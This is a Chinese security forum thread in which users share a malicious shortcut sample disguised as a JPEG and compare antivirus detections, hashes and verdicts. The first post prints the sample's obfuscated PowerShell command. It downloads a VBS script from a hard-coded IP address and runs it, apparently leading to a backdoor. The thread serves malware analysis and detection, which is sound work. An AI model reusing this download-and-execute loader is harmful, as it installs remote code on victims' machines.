[病毒样本] 1x

显示全部楼层 · 发表于 2022-6-30 12:55:46

本帖最后由 kuroandsan 于 2022-6-30 13:56 编辑

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -""nop "$Q='IEX(New-Object Net.WebClient).Downlo';$W='X('ht'+'tp:/'+'/106.'+'55.'+'231.88:4545/enterFor.vbs','C:\temp\enterFor.vbs')'.Replace('X','adFile');IEX($Q+$W)"&&wscript.exe C:\temp\enterFor.vbs

复制代码

https://s.threatbook.cn/report/f ... 14752fc0c410b8d84ae

显示全部楼层 · 发表于 2022-6-30 12:58:08

事件: 检测到恶意对象
应用程序名称: WinRAR.exe
应用程序路径: D:\WinRAR
组件: 文件反病毒
结果说明: 检测到
类型: 木马
名称: Trojan.Multi.GenAutorunLnkFile.a
精确度: 确切
威胁级别: 高
对象类型: 文件
对象名称: AnglaBaby.jpeg.lnk
对象路径: D:\Browerdownload\Compressed\No\No
MD5: 2845F188AB977825C8F168B013C54352
原因: 专家分析
数据库发布日期: 今天，2022-06-30 6:01:00

显示全部楼层 · 发表于 2022-6-30 13:02:04

本帖最后由 hipoxiaxxx 于 2022-6-30 13:14 编辑

江民 Malicious.Script.LNK.Y
此LNK下载

vbs继续下载

显示全部楼层 · 发表于 2022-6-30 13:20:37

智量
扫描:miss
双击miss
不小心在实机双击了QAQ智量没报毒...会不会出事？

显示全部楼层 · 发表于 2022-6-30 13:21:16

本帖最后由 hipoxiaxxx 于 2022-6-30 13:29 编辑

UNknownOoo 发表于 2022-6-30 13:20
智量
扫描:miss
双击miss

此样本最终为cs，主防应该能检测

显示全部楼层 · 发表于 2022-6-30 13:25:44

hipoxiaxxx 发表于 2022-6-30 13:21
此样本最终为backdoor，主防应该能检测

我直接手动重启了QAQ

显示全部楼层 · 发表于 2022-6-30 13:43:32

下载防护

显示全部楼层 · 发表于 2022-6-30 13:55:11

hipoxiaxxx 发表于 2022-6-30 13:02
江民 Malicious.Script.LNK.Y
此LNK下载

VBS 双击

上传云分析，已经拉黑

powershell脚本

显示全部楼层 · 发表于 2022-6-30 14:35:21

WD解压：TrojanDownloader:Win32/Schopets!ml

显示全部楼层 · 发表于 2022-6-30 15:13:40

BEST落地杀

[病毒样本] 1x

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源